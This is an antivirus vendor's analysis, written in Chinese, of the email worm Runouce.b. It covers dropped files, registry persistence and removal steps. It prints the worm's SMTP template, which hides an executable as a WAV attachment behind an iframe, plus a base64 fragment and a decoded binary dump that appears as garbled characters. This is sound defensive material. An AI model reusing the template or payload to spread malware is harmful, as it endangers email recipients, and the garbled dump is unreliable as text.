标题：Worm/Win32.Runouce.b[Email]
病毒标签
病毒名称： Worm/Win32.Runouce.b[Email]
病毒类型： 蠕虫
文件 MD5： 5BCD5AC1E81E9AD7D75B031DA6DF401B
公开范围： 完全公开
危害等级： 4
文件长度： 126,976 字节
感染系统： Windows98以上版本
开发工具： Microsoft Visual Basic 5.0 / 6.0
病毒描述
添加注册表启动项、创建一个注册表监视的线程，如被删除，则立即重新写入病毒启动项，在系统目录下衍生"readme.eml"文件，该文件为病毒发送的邮件内容，该邮件内容为了躲避安全软件查杀便做了Base64加密处理，解密后得到的数据为PE文件可执行文件（病毒体文件），病毒调用系统自带的Outlook Express发送恶意邮件，病毒利用发送恶意邮件来传播自身。
行为分析-本地行为
1、文件运行后会释放以下文件
%System32%\KillEDLL.DLL
%System32%\MSWBPROTECT.DLL
%System32%\runouce.exe
%Program Files%\Common Files\Microsoft Shared\Stationery\readme.eml
%Program Files%\Common Files\System\ado\readme.eml
%Program Files%\NetMeeting\readme.eml
2、本恶意病毒文件进行了加密处理，病毒运行后、暴力搜索kernel32基址，动态获取大量API函数地址，调用API函数CreateMutexA创建互斥量名为"ChineseHacker-2"，防止多次运行产生的冲突。
3、添加注册表启动项
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Runonce
值: 字符串: "C:\WINDOWS\system32\runouce.exe"
描述：添加注册表启动项
4、调用API函数隐藏打开病毒本体文件，创建病毒文件"runouce.exe"到%system32%目录下，按节分别将病毒代码写入该文件中，并将属性设置为隐藏，添加注册表启动项、创建一个注册表监视的线程，如被删除，则立即重新写入病毒启动项。
5、在系统目录下衍生"readme.eml"文件，该文件为病毒发送的邮件内容，该邮件内容为了躲避安全软件查杀便做了Base64加密处理，解密后得到的数据为PE文件可执行文件（病毒体文件），病毒调用系统自带的Outlook Express发送恶意邮件。
行为分析-网络行为
协议：TCP
端口：139 445
描述：通过以上端口发送恶意邮件，邮件内容：
HELO btamail.net.cn
MAIL FROM: imissyou@btamail.net.cn
RCPT TO: 
DATA
FROM: A-738DF22C9CA04@yahoo.com
TO: 
SUBJECT: A-738DF22C9CA04 is comming!
MIME-Version: 1.0
Content-type: multipart/mixed; boundary="#BOUNDARY#"
--#BOUNDARY#
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<html><HEAD></HEAD><body bgColor=3D#ffffff><iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe></body></html>
--#BOUNDARY#
MIME-Version: 1.0
Content-Type: audio/x-wav; name="pp.exe"
Content-Transfer-Encoding: base64
Content-id: THE-CID
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ABAABXagFqAFZT/xDr0enIAAAA6AQAAACtaeh3WP91CGoAaP8PHwD/EAvAdCyL2OgEAAAAALTmd1hq/1P/EOgAAAAAWYPBGpCQk
OgEAAAAKnXod1hqAVH/EMnCBADpyAAAAGBQDwFMJP5Yg8AYixiLUAToCwAAAGCJGIlQBPzzpGHP+maPAGaPQAaLdQiLfQyLTRDM
+2HJwgwA6cgAAABgi0UIagBQUGoA/5aQAAAAYcnCBAAAAAAAAAAAAMMAAAAAAAAAAAAAAAAAAAA=
经解密得到数据： HELO btamail.net.cn
MAIL FROM: imissyou@btamail.net.cn
RCPT TO: 
DATA
FROM: A-738DF22C9CA04@yahoo.com
TO: 
SUBJECT: A-738DF22C9CA04 is comming!
MIME-Version: 1.0
Content-type: multipart/mixed; boundary="#BOUNDARY#" 
--#BOUNDARY#
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<html><HEAD></HEAD><body bgColor=3D#ffffff><iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe></body></html>
--#BOUNDARY#
MIME-Version: 1.0
Content-Type: audio/x-wav; name="pp.exe"
Content-Transfer-Encoding: base64
Content-id: THE-CID
MZP ?@ ????L?悙This program must be run under Win32 $7PEL ?饨巵 D @ ` 0N@ CODE `DATA @?idata 0 @?reloc?@? @?%00@(08000F0F0KERNEL32.dllSleep 0`桄 媡$ ?ah @瞄Y? 佹???f?MZu?穨< 䦆ox 颡] ?缷谟?@? ? GetProcAddress^3杀 ??趮骢]$ ??C媇 迡 ?迊禳孅壌$鑎 嬮V??嬐怩?$?USER32.DLL?婶?嬮V??嬐怩?$?ADVAPI32.DLL?婶?嬮V??嬐怩?$?MPR.DLL?婶鑌嬮V??嬐怩?$?WSOCK32.DLL?婶鑭嬮V??嬐怩嬼?ChineseHacker-2jj? ? 缨 涕? j P? 鑘 嬼?嬼h`?D腼閅钑 ? 崅 ?? 岯-悙悏 鉴 楮 岯;悙悏 鑦 梏 崅?枸 岯-悙悏 ? 枭 岯;悙悏 鐴 媶h`P?d凐?\V鐹^?Net Send * My god! Some one killed ChineseHacker-2 MonitorXjP? 霚Y枭 鑊 殍_媶墖?媶墖 媶墖& 婩D墖f 崌?PTjPPjj?t嬝X媶h`P?dPjS?xX凐? 涕V?^胭Y鐼 柁閅鐰 侅 T桁 孅j W?p凐? 嬝鑵 jjS?XjxPW?8S?@a陕 槿`侅 孅h W? ?4 稧< ??囋f?PE 吷崯 稯 I兠(恹;?嚤婫(+C r# C jP? ? --#BOUNDARY# MIME-Version: 1.0 Content-Type: audio/x-wav; name="pp.exe" Content-Transfer-Encoding: base64 Content-id: THE-CID X孅W? W? P? ?湅鐗E鼇 a婨???`荅鐰ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/^媫 婾 菱 3?拦 燕S? ?Jt C怙? ???轿余? ????M?=??廓a婨??QRV媢 婱 嬔陵 ? 鲅?谊? 耝ZY陕 XQ??閐g?dg?????閄???dg?YY??堽 Z瞄?柩??衢Y婨 増3郎?鑗 MZP ? @ " ? 
&not;???L?悙This program must be run under Win32 $7圥E L ?饨 巵 @ P 0 N @ SCODE `DATA @ ?idata 0 @ ?reloc @ @ P???%00@??0 80 00 F0 F0 KERNEL32.dll Sleep? 0???G 缨 P嬆j PS?8X腱 ?G?QP嬆j PS?8XY怦胝瞄侅 3鰦黤? ??f?鲳???釆 B?纔麒 发送消息?企觲Xj?缨W嬝?樎褀Xj S?缨B嬝??褀_侅 Th j S?伳 纔 Th j S?F冩u 伳 陕 ?B$?Xh??镼??葖] 侅 孅?Runonce^h ?骢nyXTWjjVS?X??nyXjjj jS??A鑞yXh Wj jVS?胙槿?璱鑧X? jh?&not;?缨,嬝?存wXj??Y兞 悙愯 *u鑧Xj Q?陕 槿`P L$⺋兝 ?婸 ?`?埘 ??销ff廆 媢 媫 婱 帖a陕 槿`婨 jPPj?恒陕
解密之后发现该内容为PE可执行文件，病毒调用系统自带的Outlook Express发送恶意邮件，病毒利用发送恶意邮件来传播自身。
注：%System32%是一个可变路径。病毒通过查询操作系统来决定当前System文件夹的位置。
%Windir% 　　　　　 　　　　　 WINDODWS所在目录
%DriveLetter%　 　　　　　　　 逻辑驱动器根目录
%ProgramFiles%　 　 　　　　　 系统程序默认安装目录
%HomeDrive% 　　　　　　　　　 当前启动的系统的所在分区
%Documents and Settings% 　　　当前用户文档根目录
%Temp% 　　　　　　　　　　　　\Documents and Settings\当前用户\Local Settings\Temp
%System32% 　　　　　　　　　　系统的 System32文件夹
Windows2000/NT中默认的安装路径是C:\Winnt\System32
windows95/98/me中默认的安装路径是%WINDOWS%\System
windowsXP中默认的安装路径是%system32%
清除方案
1、使用安天防线可彻底清除此病毒(推荐)。
2、手工清除请按照行为分析删除对应文件，恢复相关系统设置。
（1）开机按F8启动到安全模式，使用ATOOL“进程管理”
强行删除以下病毒文件
%System32%\KillEDLL.DLL
%System32%\MSWBPROTECT.DLL
%System32%\runouce.exe
%Program Files%\Common Files\Microsoft Shared\Stationery\readme.eml
%Program Files%\Common Files\System\ado\readme.eml
%Program Files%\NetMeeting\readme.eml
（2）删除病毒添加的服务
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Runonce
删除Run键值下的Runonce主键值